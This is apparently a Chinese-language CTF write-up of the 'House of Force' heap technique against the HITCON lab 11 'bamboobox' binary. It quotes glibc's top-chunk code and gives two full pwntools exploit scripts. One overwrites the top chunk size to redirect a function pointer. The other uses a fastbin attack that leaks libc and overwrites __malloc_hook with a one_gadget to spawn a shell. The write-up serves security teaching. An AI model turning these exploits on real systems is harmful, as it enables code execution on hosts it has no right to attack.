House of force

例题:

HITCON training lab 11:

2.29之前版本利用
修改top_chunk size为-1无符号溢出为极大值绕过验证

// 获取当前的top chunk,并计算其对应的大小
victim = av->top;
size   = chunksize(victim);
// 如果在分割之后,其大小仍然满足 chunk 的最小大小,那么就可以直接进行分割。
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) 
{
    remainder_size = size - nb;
    remainder      = chunk_at_offset(victim, nb);
    av->top        = remainder;
    set_head(victim, nb | PREV_INUSE |
            (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);

    check_malloced_chunk(av, victim, nb);
    void *p = chunk2mem(victim);
    alloc_perturb(p, bytes);
    return p;
}

接下来测算偏移:
offset = chunk_addr - top_chunk_addr -0x20
分配堆块add(offset,'')后可实现chunk_addr处写
此时再次add即可改写当前地址内容
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=remote("node4.buuoj.cn",27856)
io=process("./bamboobox")
elf=ELF("./bamboobox")
libc=ELF("libc-2.23.so")

def show():
    io.sendlineafter(b"choice:",b"1")
    
def add(n,cc):
    io.sendlineafter(b"choice:",b"2")
    io.sendlineafter(b"name:",str(n))
    io.sendafter(b"item:",cc)
    
def edit(n,s,cc):
    io.sendlineafter(b"choice:",b"3")
    io.sendlineafter(b"item:",str(n))
    io.sendlineafter(b"name:",str(s))
    io.sendafter(b"item:",cc)
    
def delete(n):
    io.sendlineafter(b"choice:",str(n))

def getshell():
    io.sendlineafter(b"choice:",b"5")

gdb.attach(io)
pause()

add(0x18,b"aaa") #0
add(0x40,b"bbb") #1
edit(1,0x58,cyclic(0x40)+p64(0)+p64(0xFFFFFFFFFFFFFFFF))

offset=-0x98
magic=0x400d49

add(offset,b"") #2

add(0x18,p64(magic)*2)
getshell()

io.interactive()

也可以fastbin attack:
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=remote("node4.buuoj.cn",26837)
io=process("./bamboobox")
elf=ELF("./bamboobox")
libc=ELF("./libc-2.23.so")

def show():
    io.sendlineafter(b"choice:",b"1")
    
def add(s,cc):
    io.sendlineafter(b"choice:",b"2")
    io.sendlineafter(b"name:",str(s))
    io.sendafter(b"item:",cc)
    
def edit(n,s,cc):
    io.sendlineafter(b"choice:",b"3")
    io.sendlineafter(b"item:",str(n))
    io.sendlineafter(b"name:",str(s))
    io.sendafter(b"item:",cc)

def delete(n):
    io.sendlineafter(b"choice:",b"4")
    io.sendafter(b"item:",str(n))
    
# gdb.attach(io)
# pause()

add(0x18,b"e") #0
add(0x18,b"a") #1
add(0x90,b"c") #2
add(0x10,b"d") #3

edit(0,0x20,cyclic(0x10)+p64(0)+p64(0xc1))
delete(1)
add(0x10,b"aaaaaaaa")
show()
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x68-libc.sym[b"__malloc_hook"]
print("leak_addr: "+hex(leak_addr))
one_gadget=[0x45206,0x4525a,0xef9f4,0xf0897]
shell=leak_addr+one_gadget[1]
sys_addr=leak_addr+libc.sym[b"system"]
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
realloc=leak_addr+libc.sym[b"__libc_realloc"]

add(0x60,b"/bin/sh")
add(0x20,b"/bin/sh")
delete(2)
payload=cyclic(0x18)+p64(0x21)+cyclic(0x18)+p64(0x71)+p64(malloc_hook-0x23)
edit(0,len(payload),payload)

add(0x60,b"aaa")
add(0x60,cyclic(0xb)+p64(shell)+p64(realloc))

io.sendlineafter(b"choice:",b"2")
io.sendlineafter(b"name:",b"1")

io.interactive()

# 0x45206 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4525a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xef9f4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf0897 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL